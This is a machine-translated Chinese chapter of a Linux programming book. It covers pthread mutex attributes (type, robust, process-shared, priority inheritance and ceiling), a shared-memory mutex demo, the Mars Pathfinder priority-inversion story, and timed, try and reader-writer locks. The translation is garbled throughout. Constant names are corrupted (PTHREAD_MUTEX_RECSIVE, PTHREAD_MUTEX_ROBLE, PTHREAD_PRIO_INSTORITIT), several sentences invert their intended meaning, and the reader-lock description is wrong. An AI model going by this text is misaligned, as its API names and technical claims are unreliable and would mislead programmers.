使用的互斥类型会影响锁定和解锁的行为。 这些类型包括:PTHREAD_MUTEX_NORMAL、PTHREAD_MUTEX_ERRORCHECK、PTHREAD_MUTEX_RECSIVE 和 PTHREAD_MUTEX_DEFAULT。 - -`pthread_mutex_lock(3)`上的系统手册页使用一个表描述了取决于互斥类型的行为;为了方便读者,我们在这里复制了相同的内容。 - -如果线程试图重新锁定它已经锁定的互斥体,`pthread_mutex_lock(3)`的行为应如下表的重新锁定列中所述。 如果线程尝试解锁未锁定的互斥体或解锁的互斥体,则`pthread_mutex_unlock(3)`应按照下表的**Unlock When Not Owner**列中的说明进行操作: - -![](img/2dfc4139-4ba1-47be-a5fe-8d878fbb3a0c.png) - -如果互斥体类型为 PTHREAD_MUTEX_DEFAULT,则`pthread_mutex_lock(3)`的行为可能对应于其他三种标准互斥体类型之一,如上表所述。 如果它不符合这三种情况中的一种,则对于标记为†的情况,行为也是未定义的。 - -重新锁定一栏直接对应于我们在本章前面描述的自死锁场景,例如,尝试重新锁定已经锁定的锁会有什么效果(也许是诗意的措辞?)。 会有的。 显然,除了递归测试和错误检查互斥锁的情况外,最终结果要么是未定义的,要么是没有定义的(这意味着任何事情都可能发生!)。 或者真的陷入僵局。 - -同样,尝试由除所有者以外的任何线程解锁互斥锁要么会导致未定义的行为,要么会导致错误。 - -有人可能会问:为什么锁定 API 的行为会因互斥类型的不同而不同--在错误返回或失败方面? 为什么不为所有类型设置一个标准行为,从而简化情况呢? 这是简单性和性能之间通常的权衡:例如,它的实现方式允许编写良好、经过编程验证的正确实时嵌入式应用放弃额外的错误检查,从而提高速度(这在关键代码路径上尤其重要)。 另一方面,在开发或调试环境中,开发人员可能会选择允许额外检查以在发布之前捕获缺陷。 (`pthread_mutex_destroy(3)`上的手册页有一个标题为*在错误检查和支持的性能之间的权衡*的章节,更详细地描述了这一方面。) - -互斥锁的 type 属性(上表中的第一列)的`get`和`set`对 API 非常简单: - -```sh -include -int pthread_mutexattr_gettype(const pthread_mutexattr_t *restrict attr, int *restrict type); -int pthread_mutexattr_settype(pthread_mutexattr_t *attr, int type); -``` - -# 健壮的互斥属性 - -看一眼前面的表格,你会发现健壮性这一列;它是什么意思? 回想一下,只有互斥锁的所有者线程才有可能解锁互斥锁;现在,我们问,如果某个偶然的机会,所有者线程死了怎么办? (首先,好的设计将确保这种情况永远不会发生;其次,即使发生这种情况,也有防止线程取消的方法,这是我们将在下一章讨论的主题。)。 从表面上看,没有任何帮助;等待锁的任何其他线程现在都会死锁(实际上,它们只会挂起)。 此行为实际上是默认行为;它也是由名为“PTHREAD_MUTEX_STALTED”的健壮属性设置的行为。 为了在这种情况下进行(可能的)救援,不存在另一个健壮的互斥体属性的值:*PTHREAD_MUTEX_ROBLE。 用户始终可以通过以下两对 API 在互斥体上查询和设置这些属性: - -```sh -#include -int pthread_mutexattr_getrobust(const pthread_mutexattr_t *attr, - int *robustness); -int pthread_mutexattr_setrobust(const pthread_mutexattr_t *attr, - int robustness); -``` - -如果在互斥锁上设置了此属性(值为 PTHREAD_MUTEX_ROBLY),则如果拥有者线程在持有互斥锁时死亡,则在锁上执行的后续操作`pthread_mutex_lock(3)`将成功,并返回值为`EOWNERDEAD`。 不过,坚持住! 尽管调用返回(所谓的)成功返回,但重要的是要理解,问题锁现在被认为处于不一致状态,必须通过`pthread_mutex_consistent(3)`命令 API 重置为一致状态: - -`int pthread_mutex_consistent(pthread_mutex_t *mutex);` - -这里返回值为零表示成功;互斥体现在回到非常一致(稳定)的状态,可以正常使用(使用它,在某个时候,当然必须解锁它)。 - -要总结这一点,要使用更健壮的属性互斥锁,请使用以下命令: - -* 初始化互斥锁: - `pthread_mutexattr_t attr`; - `pthread_mutexattr_init(&attr)`; - * 设置健壮属性:`pthread_mutexattr_setrobust(&attr, PTHREAD_MUTEX_ROBUST)`; -* 所有者线程 - * 锁定:`pthread_mutex_lock(&mylock)` - * 现在,假设线程所有者突然死亡(同时持有互斥锁) -* 另一个线程(可能是 Main)可以承担所有权: - * 首先,侦破案件: - * `ret = pthread_mutex_lock(&mylock);` - `if (ret == EOWNERDEAD) {` - * 然后,使其保持一致: - 和`pthread_mutex_consistent(&mylock)` - * 使用它(或者干脆解锁) - * 解锁:`pthread_mutex_unlock(&mylock)` - -我们没有重复轮子,而是将读者引向一个简单的、可读的示例,该示例使用了前面描述的强大的互斥属性特性。 请在`pthread_mutexattr_setrobust(3)`的手册页中找到它。 - -Under the hood, the Linux pthreads mutex lock is implemented via the `futex(2)` system call (and thus by the OS). The futex (fast user mutex) provides a fast, robust, atomic-only instructions locking implementation. Links with more details can be found in the *Further reading *section on the GitHub repository. - -# IPC、线程和进程共享的互斥锁 - -想象一个由几个独立的多线程进程组成的大型应用。 现在,如果这些进程想要彼此通信(它们通常会想要这样做),那么如何才能实现这一点呢? 当然,答案是**进程间通信**(**IPC**)-为此目的而存在的机制。 一般而言,典型的 Unix/Linux 平台上有几种 IPC 机制;这些机制包括共享内存(以及`mmap(2)`)、消息队列、信号量(通常用于同步)、命名管道(FIFO)和未命名管道、套接字(Unix 和 Internet 域),以及某种程度上的信号。 - -Unfortunately, due to space constraints, we do not cover process IPC mechanisms in this book; we urge the interested reader to look into the links (and books) provided on IPC in the *Further reading *section on the GitHub repository. - -这里要强调的是,所有这些 IPC 机制都是为独立于 VM 的进程之间的通信而设计的。因此,我们这里讨论的重点是多线程,给定进程内的所有线程是如何相互通信的? 这真的很简单:就像人们可以设置和使用共享内存区域来有效和高效地在进程之间通信(写入和读取该区域,通过信号量同步访问)一样,线程可以简单而有效地使用全局内存缓冲区(或任何适当的数据结构)作为彼此通信的媒介,当然,还可以通过互斥锁同步对全局内存区域的访问。 - -有趣的是,可以使用互斥锁作为属于不同进程的线程之间的同步原语。这是通过设置称为 pShared 或进程共享的互斥锁属性来实现的。用于获取和设置进程共享互斥锁属性的 API 对如下所示: - -```sh -int pthread_mutexattr_getpshared(const pthread_mutexattr_t *attr, - int *pshared); -int pthread_mutexattr_setpshared(pthread_mutexattr_t *attr, - int pshared); -``` - -第二个参数`pshared`可以设置为以下值之一: - -* **PTHREAD_PROCESS_PRIVATE**:默认设置;在这里,互斥锁只对创建互斥锁的进程内的线程可见。 -* **PTHREAD_PROCESS_SHARED**:在这里,互斥锁对任何可以访问创建互斥锁的内存区域的线程都是可见的,包括不同进程的线程。 - -但是,如何真正确保互斥锁所在的内存区域在进程之间共享(如果没有该内存区域,相关进程就不可能使用互斥锁)呢? 好了,这真的回到了基础:我们必须利用我们提到的 IPC 机制之一-共享内存,事实证明它是正确的使用机制。因此,我们让应用设置了一个共享内存区域(通过传统的 SysV IPC`shmget(2)`)或较新的 POSIX IPC`shm_open(2)`系统调用),并在这个共享内存中实例化了我们的进程共享互斥锁。 - -因此,让我们用一个简单的应用将所有这些联系在一起:我们将编写一个创建两个共享内存区域的应用: - -* 其一,一个较小的共享内存区,用作进程共享互斥体锁和只有一次的初始化控件的共享空间(马上详细介绍) -* 第二,共享内存区作为存储 IPC 消息的简单缓冲区 - -我们将使用进程共享属性初始化一个互斥锁,这样它就不能在不同进程的线程之间使用来同步访问;在这里,我们派生并让原始父进程和新生的子进程的一个线程竞争互斥锁。 一旦它们(按顺序)获得它,它们就会将一条消息写入第二个共享内存段。 在应用结束时,我们销毁资源并显示共享内存和缓冲区(作为简单的概念验证)。 - -让我们试用一下我们的应用(`ch15/pshared_mutex_demo.c`): - -We have added some blank lines in the following code for readability. - -```sh -$ ./pshared_mutex_demo -./pshared_mutex_demo:15317: shmem segment successfully created / accessed. ID=38928405 -./pshared_mutex_demo:15317: Attached successfully to shmem segment at 0x7f45e9d50000 -./pshared_mutex_demo:15317: shmem segment successfully created / accessed. ID=38961174 -./pshared_mutex_demo:15317: Attached successfully to shmem segment at 0x7f45e9d4f000 - -[pthread_once(): calls init_mutex(): from PID 15317] - -Worker thread #0 [15317] running ... - [thrd 0]: attempting to take the shared mutex lock... - [thrd 0]: got the (shared) lock! -#0: work done, exiting now - - Child[15319]: attempting to taking the shared mutex lock... - Child[15319]: got the (shared) lock! - -main: joining (waiting) upon thread #0 ... -Thread #0 successfully joined; it terminated with status=0 - -Shared Memory 'comm' buffer: -00000000 63 63 63 63 63 00 63 68 69 6c 64 20 31 35 33 31 ccccc.child 1531 -00000016 39 20 68 65 72 65 21 0a 00 74 74 74 74 74 00 74 9 here!..ttttt.t -00000032 68 72 65 61 64 20 31 35 33 31 37 20 68 65 72 65 hread 15317 here -00000048 21 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 !............... -00000064 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -00000096 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -00000112 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ -``` - -在现实世界中,事情并没有这么简单;确实存在一个额外的同步问题需要考虑:如何确保互斥锁被正确地、原子地初始化(只由一个进程或线程初始化),并且只初始化一次,其他线程是否应该尝试使用它? 在我们的演示程序中,我们使用`pthread_once(3)`API 实现了互斥对象的保证只初始化一次(但没有忽略 have-threads-wait-and-only-use-it-once-initialized 问题)。 问题)。 (关于堆栈溢出的一个有趣的问题&A 强调了这一点;请看一下:[https://stackoverflow.com/questions/42628949/using-pthread-mutex-shared-between-processes-correctly#](https://stackoverflow.com/questions/42628949/using-pthread-mutex-shared-between-processes-correctly#)*。)*然而,实际情况是,`pthread_once(3)`API 是在进程的线程之间使用的。 另外,POSIX 要求`once_control`函数的初始化是静态完成的;在这里,我们只能在运行时执行,所以它并不完美。 - -在其主要功能中,我们设置并初始化(IPC)共享内存段;我们敦促读者仔细阅读源代码(阅读所有评论),并亲自试用: - -For readability, only key parts of the source code are displayed; to view the complete source code, build, and run it. The entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux)*.* - -```sh -... - - /* Setup a shared memory region for the process-shared mutex lock. - * A bit of complexity due to the fact that we use the space within for: - * a) memory for 1 process-shared mutex - * b) 32 bytes of padding (not strictly required) - * c) memory for 1 pthread_once_t variable. - * We need the last one for performing guaranteed once-only - * initialization of the mutex object. - */ - shmaddr = shmem_setup(&gshm_id, argv[0], 0, - (NUM_PSMUTEX*sizeof(pthread_mutex_t) + 32 + - sizeof(pthread_once_t))); - if (!shmaddr) - FATAL("shmem setup 1 failed\n"); - - /* Associate the shared memory segment with the mutex and - * the pthread_once_t variable. */ - shmtx = (pthread_mutex_t *)shmaddr; - mutex_init_once = (pthread_once_t *)shmaddr + - (NUM_PSMUTEX*sizeof(pthread_mutex_t)) + 32; - *mutex_init_once = PTHREAD_ONCE_INIT; /* see below comment on pthread_once */ - - /* Setup a second shared memory region to be used as a comm buffer */ - gshmbuf = shmem_setup(&gshmbuf_id, argv[0], 0, GBUFSIZE); - if (!gshmbuf) - FATAL("shmem setup 2 failed\n"); - memset(gshmbuf, 0, GBUFSIZE); - - /* Initialize the mutex; here, we come across a relevant issue: this - * mutex object is already instantiated in a shared memory region that - * other processes might well have access to. So who will initialize - * the mutex? (it must be done only once). - * Enter the pthread_once(3) API: it guarantees that, given a - * 'once_control' variable (1st param), the 2nd param - a function - * pointer, that function will be called exactly once. - * However: the reality is that the pthread_once is meant to be used - * between the threads of a process. Also, POSIX requires that the - * initialization of the 'once_control' is done statically; here, we - * have performed it at runtime... - */ - pthread_once(mutex_init_once, init_mutex); -... -``` - -使用进程共享属性初始化互斥锁的*`init_mutex`*和*函数如下所示: - -```sh -static void init_mutex(void) -{ - int ret=0; - - printf("[pthread_once(): calls %s(): from PID %d]\n", - __func__, getpid()); - ret = pthread_mutexattr_init(&mtx_attr); - if (ret) - FATAL("pthread_mutexattr_init failed [%d]\n", ret); - - ret = pthread_mutexattr_setpshared(&mtx_attr, PTHREAD_PROCESS_SHARED); - if (ret) - FATAL("pthread_mutexattr_setpshared failed [%d]\n", ret); - - ret = pthread_mutex_init(shmtx, &mtx_attr); - if (ret) - FATAL("pthread_mutex_init failed [%d]\n", ret); -} -``` - -工作线程的代码-工作线程例程-如以下代码所示。 在这里,我们需要对第二个共享内存段进行操作,这当然意味着这是一个关键部分。 因此,我们使用进程共享锁,执行工作,然后解锁互斥锁: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - printf("Worker thread #%ld [%d] running ...\n", datum, getpid()); - sleep(1); - printf(" [thrd %ld]: attempting to take the shared mutex lock...\n", datum); - - LOCK_MTX(shmtx); - /*--- critical section begins */ - printf(" [thrd %ld]: got the (shared) lock!\n", datum); - /* Lets write into the shmem buffer; first, a 5-byte 'signature', - followed by a message. */ - memset(&gshmbuf[0]+25, 't', 5); - snprintf(&gshmbuf[0]+31, 32, "thread %d here!\n", getpid()); - /*--- critical section ends */ - UNLOCK_MTX(shmtx); - - printf("#%ld: work done, exiting now\n", datum); - pthread_exit(NULL); -} -``` - -请注意,锁定和解锁操作是由宏执行的;它们如下所示: - -```sh -#define LOCK_MTX(mtx) do { \ - int ret=0; \ - if ((ret = pthread_mutex_lock(mtx))) \ - FATAL("pthread_mutex_lock failed! [%d]\n", ret); \ -} while(0) - -#define UNLOCK_MTX(mtx) do { \ - int ret=0; \ - if ((ret = pthread_mutex_unlock(mtx))) \ - FATAL("pthread_mutex_unlock failed! [%d]\n", ret); \ -} while(0) -``` - -我们把它留给读者来查看我们可以分叉的代码,并让新生的子进程基本上做与前面的工作线程相同的事情-在(相同的)第二个共享内存段上操作;作为一个临界区,它也试图获取进程共享的线程锁,一旦获得它,就执行工作,随后解锁互斥锁。 - -Unless there is some compelling reason not to do so, when setting up IPC between processes, we suggest that you use one (or some) of the numerous IPC mechanisms that have been explicitly designed for this very purpose. Using the process-shared mutex as a synchronization mechanism between the threads of two or more processes is possible, but ask yourself if it is really required. - -Having said that, there are some advantages to using a mutex over the traditional (binary) semaphore object; these include the fact that the mutex is always associated with an owner thread, and only the owner can operate upon it (preventing some illegal or defective scenarios), and that mutexes can be set up to use nested (recursive) locking, and deal with the priority inversion problem effectively (via the inheritance protocol and/or priority ceiling attributes). - -# 优先级反转、看门狗和火星 - -**实时操作系统**(**RTOS**)上通常运行着时间关键型多线程应用。 非常简单但仍然正确的是,RTOS 调度程序决定下一个运行哪个线程的主要规则是,优先级最高的可运行线程必须是正在运行的线程。(顺便说一句,我们将在[章](17.html),*Linux 上的 CPU 调度*中讨论与 Linux OS 相关的 CPU 调度;现在不必担心细节。) - -# 优先级反转 - -让我们来设想一个包含三个线程的应用;其中一个是高优先级线程(让我们称其为优先级为 90 的线程 A),另一个是低优先级线程(让我们称其为优先级为 10 的线程 B),最后是一个中等优先级线程 C.(SCHED_FIFO 调度策略的优先级范围是 1 到 99,99 是可能的最高优先级;在后面的章节中将详细介绍这一点)。 因此,我们可以想象在一个进程中有这三个优先级不同的线程: - -* 线程 A:高优先级,90 -* 线程 B:低优先级,10 -* 线程 C:中等优先级,45 - -此外,让我们考虑一下我们有一些共享资源 X,这是线程 A 和 B 梦寐以求的;当然,这构成了一个关键的数据部分,因此,我们需要同步对它的访问以确保正确性。 我们将使用一个新的互斥锁工具来做到这一点。 - -正常情况下可能是这样工作的(让我们暂时忽略线程 C):线程 B 在 CPU 上运行一些代码;线程 A 在另一个 CPU 内核上运行其他代码。 这两个线程都不在关键线程段;因此,互斥锁处于解锁状态。 - -现在,线程 B(在时间**T1**)命中临界区的代码并获得互斥锁,从而成为线程的所有者。它现在运行临界区内的代码(在 X 上工作)。 同时,如果线程 A 在时间**t2**也碰巧命中关键线程部分,从而试图获取互斥锁,该怎么办? 嗯,我们知道它已经被锁定了,因此线程 A 将不得不等待(阻塞)线程 B 将要(希望很快)执行的解锁操作。一旦线程 B 解锁互斥锁(在时间**T3**),线程 A 就会获取它(在时间**T4**;我们认为**T4**-**T3**的延迟非常小),生活(非常愉快地)继续。 这看起来很好: - -![](img/ebe8bb6c-fdc5-4d88-ae4a-6769f82daea6.png) - -Fig 12: Mutex locking: the normal good case - -然而,一个潜在的坏情况也存在! 继续读下去。 - -# 看门狗定时器简介 - -看门狗是一种机制,用于定期检测系统是否处于健康状态,如果认为不是,则重新启动系统。 这是通过设置(内核)计时器(也就是说,60 秒超时)来实现的。 如果一切正常,看门狗守护进程(守护进程只是一个系统后台进程)将始终如一地取消计时器(当然,在计时器过期之前),然后重新启用它;这称为**抚摸狗**。 如果守护进程没有(由于出现严重错误),看门狗会感到恼火,并重新启动系统! 纯软件看门狗实现将不受内核错误和故障的保护;硬件看门狗(锁存到板重置电路中)将始终能够在需要时重新启动系统。 - -通常,嵌入式应用的高优先级线程被设计为具有非常真实的最后期限,它们必须在此期限内完成一些工作;否则,系统将被视为失败。 有人想知道,如果在运行时操作系统本身-由于一个不幸的错误-简单地崩溃或挂起(死机)怎么办? 这样,应用线程就无法继续运行;我们需要一种方法来检测并摆脱这种混乱。 嵌入式设计者通常利用**看门狗定时器**(**WDT**)和硬件电路(以及相关的设备驱动程序)来精确地实现这一点。 如果系统或关键线程未达到其截止日期(未能抚摸狗),则系统将重新启动。 - -那么,回到我们的场景。 假设我们的高优先级线程 A 的截止时间是 100ms;在头脑中重复前面的锁定场景,但要有这个不同之处(也请参阅*图 13*:): - -* **线程 B**(低优先级线程),在时间**t1**获得互斥锁。 -* **线程 A**还在时间**t2**请求互斥锁(但必须等待线程 B 解锁)。 -* 在线程 B 可以完成临界区之前,另一个中等优先级的线程 C#(运行在同一个 CPU 内核上,优先级为 45)被唤醒! 它将立即抢占线程 B,因为它的优先级更高(回想一下,优先级最高的可运行线程必须是正在运行的线程)。 -* 现在,在线程 C 离开 CPU 之前,线程 B 无法完成临界区,因此无法执行解锁。 -* 这反过来又会显著延迟线程 A,线程 A 在线程 B 即将进行的解锁时被阻塞: - * 但是,线程 B 已被线程 C 抢占,因此无法执行解锁。 -* 如果解锁时间超过线程 A 的截止日期 A(时间**T4**)怎么办? - * 则看门狗计时器将到期,强制系统重新启动: - -![](img/5d1e63a3-f58b-49e8-abf4-80d9eed4a655.png) - -Fig 13: Priority inversion - -有趣而不幸的是,您是否注意到最高优先级线程(A)实际上被迫等待系统上最低优先级线程(B)? 这种现象实际上是一种有据可查的软件风险评估,正式名称为优先级反转。 - -不仅如此,考虑如果几个中等优先级的线程在线程 B 处于其临界区(从而持有锁)时被唤醒,会发生什么情况? 线程 A 的潜在等待时间现在可能会变得非常长;这种情况称为无界优先级反转。 - -# 火星探路者任务简介 - -非常有趣的是,这种精确的场景优先级倒置在一个完全不同的世界中上演了相当戏剧性的一幕:在火星表面! 美国国家航空航天局于 1997 年 7 月 4 日成功将一艘机器人航天器(探路者着陆器)降落在火星表面;然后开始卸货并在火星表面部署一个较小的机器人--美国旅居者漫游者号。 然而,控制器发现着陆器遇到了问题-它经常会重新启动。 对实时遥测馈送的详细分析最终揭示了根本问题--是软件遇到了优先级反转问题! 值得称赞的是,NASA 的**喷气推进实验室**(**JPL**)团队与 Wind River 的工程师(该公司向 NASA 提供了定制的 VxWorks RTOS)从地球上诊断并调试了情况,确定了根本原因缺陷是一个优先反转问题,修复了它,并将新固件上传到月球车上,一切都奏效了: - -![](img/e0ce7e31-9f76-42ff-8936-e9358bb67eca.png) - -Figure 14: Photo from the Mars Pathfinder Lander - -当微软工程师迈克·琼斯(Mike Jones)在 IEEE 实时研讨会上写了一封有趣的电子邮件,讲述了 NASA 的探路者任务发生了什么时,这一消息(以病毒式的方式)传播开来;NASA 喷气推进实验室(JPL)的团队负责人格伦·里夫斯(Glenn Reeves)最终详细地回复了这一消息,并发表了一篇现在相当著名的文章,标题为:*火星上到底发生了什么?*。在这篇文章和随后写的关于这个主题的文章中,捕捉到了许多有趣的见解。 在我看来,所有的软件工程师都会通过阅读这些内容来帮自己的忙! (请务必查找在*进一步阅读*一节中提供的链接,该部分位于火星探路器和优先级反转下的 GitHub 存储库。) - -格伦·里夫斯强调了几个重要的经验教训,以及他们能够重现和解决这个问题的原因,其中一个是这样的:我们坚信测试就是你飞行的东西,飞行你测试的哲学。实际上,由于设计决定将相关的详细诊断和调试信息保存在跟踪/日志环形缓冲区中,这些缓冲区可以随意转储(并发送到地球),他们能够调试手头的根本问题。 - -# 优先级继承-避免优先级反转 - -好的,很好;但是如何解决优先级反转这样的问题呢? 有趣的是,这是一个已知的风险,互斥体的设计包括一个内置的解决方案。关于帮助解决优先级反转问题,存在两个互斥体属性-**优先级继承**(**PI**)和优先级上限。 - -PI 是一个有趣的解决方案。 想想看,关键问题是操作系统调度线程的方式。 在操作系统(尤其是 RTOS)中,实时线程的调度-决定谁运行-本质上与竞争线程的最高优先级成正比:优先级越高,运行的机会就越大。 因此,让我们快速回顾一下前面的场景示例。 回想一下,我们有这三个优先级不同的线程: - -* 线程 A:高优先级,90 -* 线程 B:低优先级,10 -* 线程 C:中等优先级,45 - -当线程 B 长时间持有互斥锁时,就会发生优先级反转,从而迫使线程 A 在解锁过程中阻塞太长时间(超过最后期限)。 因此,想想看:如果线程 B 抓住互斥锁的那一刻,我们可以将它的优先级提高到系统上也在等待同一互斥锁的最高优先级线程的优先级。然后,当然,线程 B 将获得优先级 90,因此它不能被(线程 C 或任何其他线程)抢占!这确保了它快速完成其临界区并解锁互斥锁;一旦解锁,它就回到原来的优先级。 这就解决了问题;这种方法被称为 PI。 - -PthreadsAPI 集合提供了一对 API 来查询和设置互斥锁的协议属性,在此基础上可以使用 PI: - -```sh -int pthread_mutexattr_getprotocol(const pthread_mutexattr_t - *restrict attr, int *restrict protocol); -int pthread_mutexattr_setprotocol(pthread_mutexattr_t *attr, - int protocol); -``` - -协议参数可以采用以下值之一:*PTHREAD_PRIO_INSTORITIT、* -PTHREAD_PRIO_NONE 或*PTHREAD_PRIO_PRIO_PROTECT(默认值为 PTHREAD_PRIO_NONE)。 当互斥锁具有继承或保护协议之一时,其所有者线程在调度优先级方面会受到影响。 - -持有使用 PTHREAD_PRIO_INSTORITE 协议初始化的任何互斥体上的锁(拥有它)的线程将继承也使用此协议的任何这些互斥体(健壮或非健壮)上被阻塞(等待)的任何线程的最高优先级(因此以该优先级执行)。 - -持有使用 TPTHREAD_PRIO_PRIO_PROTECT 协议初始化的任何互斥体上的锁(拥有它)的线程将继承也使用此协议的任何线程的最高优先级上限(并因此以该优先级执行),无论它们当前是否阻塞(等待)这些互斥体中的任何一个(健壮或非健壮)。 - -如果线程使用使用不同协议初始化的互斥锁,则它将以其中定义的最高优先级执行。 - -在探路者任务中,使用的实时操作系统是风河公司著名的 VxWorks。 互斥锁(或信号量)当然有 PI 属性;只是 JPL 软件团队错过了打开互斥锁的 PI 属性,导致了优先级反转问题! (实际上,软件团队很清楚这一点,并在几个地方使用了它,但不是一个地方-墨菲定律在起作用!) - -此外,开发人员可以利用优先级上限-这是所有者线程执行临界区代码的最低优先级。 因此,能够指定这一点,就可以确保它处于足够高的值,以保证所有者线程在临界区中不会被抢占。 Pthreads`pthread_mutexattr_getprioceiling(3)`和 pthread`pthread_mutexattr_setprioceiling(3)`接口可用于查询和设置互斥锁的优先级上限属性。 (它必须在有效的 SCHED_FIFO 优先级范围内,在 Linux 平台上通常为 1 到 99)。 - -Again, in practice, there are some challenges in using priority inheritance and ceiling attributes, which are, mostly, performance overheads: - -* 可能会导致更繁重的任务/上下文切换 -* 优先级传播可能会增加开销 -* 如果线程和锁都很多,则会产生性能开销,而且死锁可能会攀升 - -# 互斥锁属性用法摘要 - -实际上,如果您希望彻底测试和调试您的应用,并且并不真正关心性能(至少现在如此),那么可以按如下方式设置您的互斥体: - -* 在其上设置最健壮的属性(允许一个人在不解锁的情况下抓住车主死亡):`pthread_mutexattr_setrobust(&attr, PTHREAD_MUTEX_ROBUST)` -* 将类型设置为错误检查(允许捕获错误自死锁/重新锁定的情况): - `pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_ERRORCHECK)` - -另一方面,需要挤出性能的设计良好且经过验证的应用将使用普通(默认)互斥锁类型和属性。 前面的情况不会被捕获(反而会导致未定义的行为),但是它们永远不会发生! - -如果需要递归锁,(显然)应该将互斥锁类型设置为 PTHREAD_MUTEX_RECURSIVE。对于递归互斥锁,重要的是要认识到,如果互斥锁被执行了`n`次,那么它也必须被解锁`n`次,这样才能被认为是真正处于解锁状态(因此可以再次锁定)。 - -在多进程、多线程的应用中,如果需要在不同进程的线程之间使用互斥锁,可以通过进程互斥对象的进程共享属性来实现。 请注意,在这种情况下,包含互斥锁的内存本身必须在进程之间共享(我们通常使用共享内存段)。 - -PPI 和优先级上限属性允许开发人员保护应用免受众所周知的软件风险:优先级反转。 - -# 互斥锁-其他变体 - -本节帮助您理解互斥锁的附加语义(稍有不同)。 我们将讨论超时互斥变量、“忙碌等待”用例和读取器-写入器锁定。 - -# 互斥锁尝试超时 - -在前面的小节*锁定指南*中,标签为防止饥饿,我们了解到长时间持有互斥锁会导致性能问题;值得注意的是,失败的线程可能会饿死。这是避免这个问题的一种方法(当然,修复任何饥饿的根本原因是要做的最重要的事情!)(*锁指南*标签下的*锁定准则*,我们了解长时间持有互斥锁会导致性能问题;值得注意的是,失败的线程将会挨饿。)。 就是让失败的线程只等待互斥锁一段时间;如果需要更长时间才能解锁,那就算了。 这正是`pthread_mutex_timedlock(3)`API 提供的功能: - -```sh -#include -#include -int pthread_mutex_timedlock(pthread_mutex_t *restrict mutex, - const struct timespec *restrict abstime); -``` - -很明显:所有锁定语义都与通常的`pthread_mutex_lock(3)`相同,只是如果锁上的阻塞(等待)时间超过第二个参数-指定为绝对值的时间,其中 API 返回失败-返回的值将为`ETIMEDOUT`。 (我们已经在[第 13 章](13.html)、*定时器*中对超时进行了详细编程。) - -不过请注意,其他错误返回值也是可能的(例如,`EOWNERDEAD`表示前一个所有者终止的健壮互斥锁,`EDEADLK`表示在错误检查互斥锁上检测到死锁,依此类推)。 有关详细信息,请参阅`pthread_mutex_timedlock(3)`上的手册页。 - -# BUSY-正在等待锁定(非阻塞变量) - -我们了解互斥锁的正常工作方式:如果锁已经被锁定,那么尝试获取锁将导致该线程阻止(等待)解锁的发生。 如果你想要这样的设计怎么办:如果锁被锁了,不要让我等待;我会做一些其他的工作,然后重试。这种语义通常被称为忙碌等待或非阻塞,由 trylock 变体提供。 顾名思义,我们可以尝试锁,如果我们得到它,那就太好了;如果没有,那也没关系--我们不会强迫线程等待。 锁可能被进程内的任何线程(如果它是进程共享的互斥体,甚至是外部线程)获取,包括同一线程-如果它被标记为递归的。 但请稍等;如果互斥锁确实是递归锁,那么将立即成功获取它,并且调用将立即返回。 - -*具体接口如下: - -`​int pthread_mutex_trylock(pthread_mutex_t *mutex);`。 - -虽然这种忙碌等待语义有时很有用-具体地说,它用于检测和防止某些类型的死锁-但在使用它时要小心。 想想看:对于一个不太满意的锁(一个不经常使用的锁,尝试获取锁的线程很可能会立即获得它),使用这种忙碌-等待的语义可能会很有用。 但是,对于一个高度满足的锁(热码路径上的锁,经常被拿走和释放),这实际上会伤害一个人获得锁的机会! 为什么? 因为你不愿意等待。 (有趣的是,软件有时会模仿生活,对吧?) - -# 读取器-写入器互斥锁 - -设想一个具有大约 10 个工作线程的多线程应用;假设在大多数情况下(比如 90%的时间),8 个工作线程忙于扫描全局链表(或类似的数据结构)。 当然,现在由于它是全局的,我们可以知道它是一个关键部分;如果不能用互斥保护它,很容易导致脏读错误。 但是,这是以较大的性能为代价的:因为每个工作线程都想要搜索列表,所以它被迫等待来自所有者的解锁事件。 - -计算机科学家已经针对这种情况提出了一种相当创新的替代方案(也称为虚拟读写器问题),在这种情况下,数据访问是这样的:在大多数时间里,(共享的)数据只被读取而不被写入。我们使用互斥锁的一种特殊变体,称为虚拟读取器-写入器锁: - -```sh -int pthread_rwlock_rdlock(pthread_rwlock_t *rwlock); -int pthread_rwlock_tryrdlock(pthread_rwlock_t *rwlock); -int pthread_rwlock_wrlock(pthread_rwlock_t *rwlock); -``` - -请注意,这是一种全新的锁类型:The`pthread_wrlock_t`。 - -如果一个线程为自己获得了一个读锁,关键在于:实现现在相信这个线程只读不写;因此,不会进行实际的锁定,API 将只返回 SUCCESS! 这样,阅读器实际上是并行运行的,从而保持高性能;没有安全问题或竞争,因为他们保证只读不到。 - -然而,当一个线程想要写数据时,它必须获得一个写锁定:当这种情况发生时,应用正常的锁定语义。写线程现在必须等待所有读线程执行解锁,然后写线程获得写锁定并继续。 当它在临界区内时,没有线程-读取器和写入器-都无法干预;他们将不得不像往常一样阻止(等待)写入器的解锁。 因此,这两个场景现在都进行了优化。 - -存在用于设置读取器-写入器互斥锁和属性的常见可疑对象-API(按字母顺序): - -* `pthread_rwlockattr_destroy(3P)` -* `pthread_rwlockattr_getpshared(3P)` -* `pthread_rwlockattr_setkind_np(3P)` -* `pthread_rwlockattr_getkind_np(3P)` -* `pthread_rwlockattr_init(3P)` -* `pthread_rwlockattr_setpshared(3P)` - -Note that the APIs suffixed with `_np` imply they are non-portable, and Linux-only. - -类似地,读取器-写入器锁定 API 遵循通常的模式-也存在超时和尝试变量: - -* `pthread_rwlock_destroy(3P)` -* `pthread_rwlock_init(3P)` -* `pthread_rwlock_timedrdlock(3P)` -* `pthread_rwlock_tryrdlock(3P)` -* `pthread_rwlock_unlock(3P)` -* `pthread_rwlock_rdlock(3P)` -* `pthread_rwlock_timedwrlock(3P)` -* `pthread_rwlock_trywrlock(3P)` -* `pthread_rwlock_wrlock(3P)` - -我们期望程序员以正常的方式进行设置-初始化 rrwlock 属性对象,初始化 rrwlock 属性本身(使用`pthread_rwlock_init(3P)`),一旦完成就销毁属性结构,然后根据需要执行实际的锁定。(= - 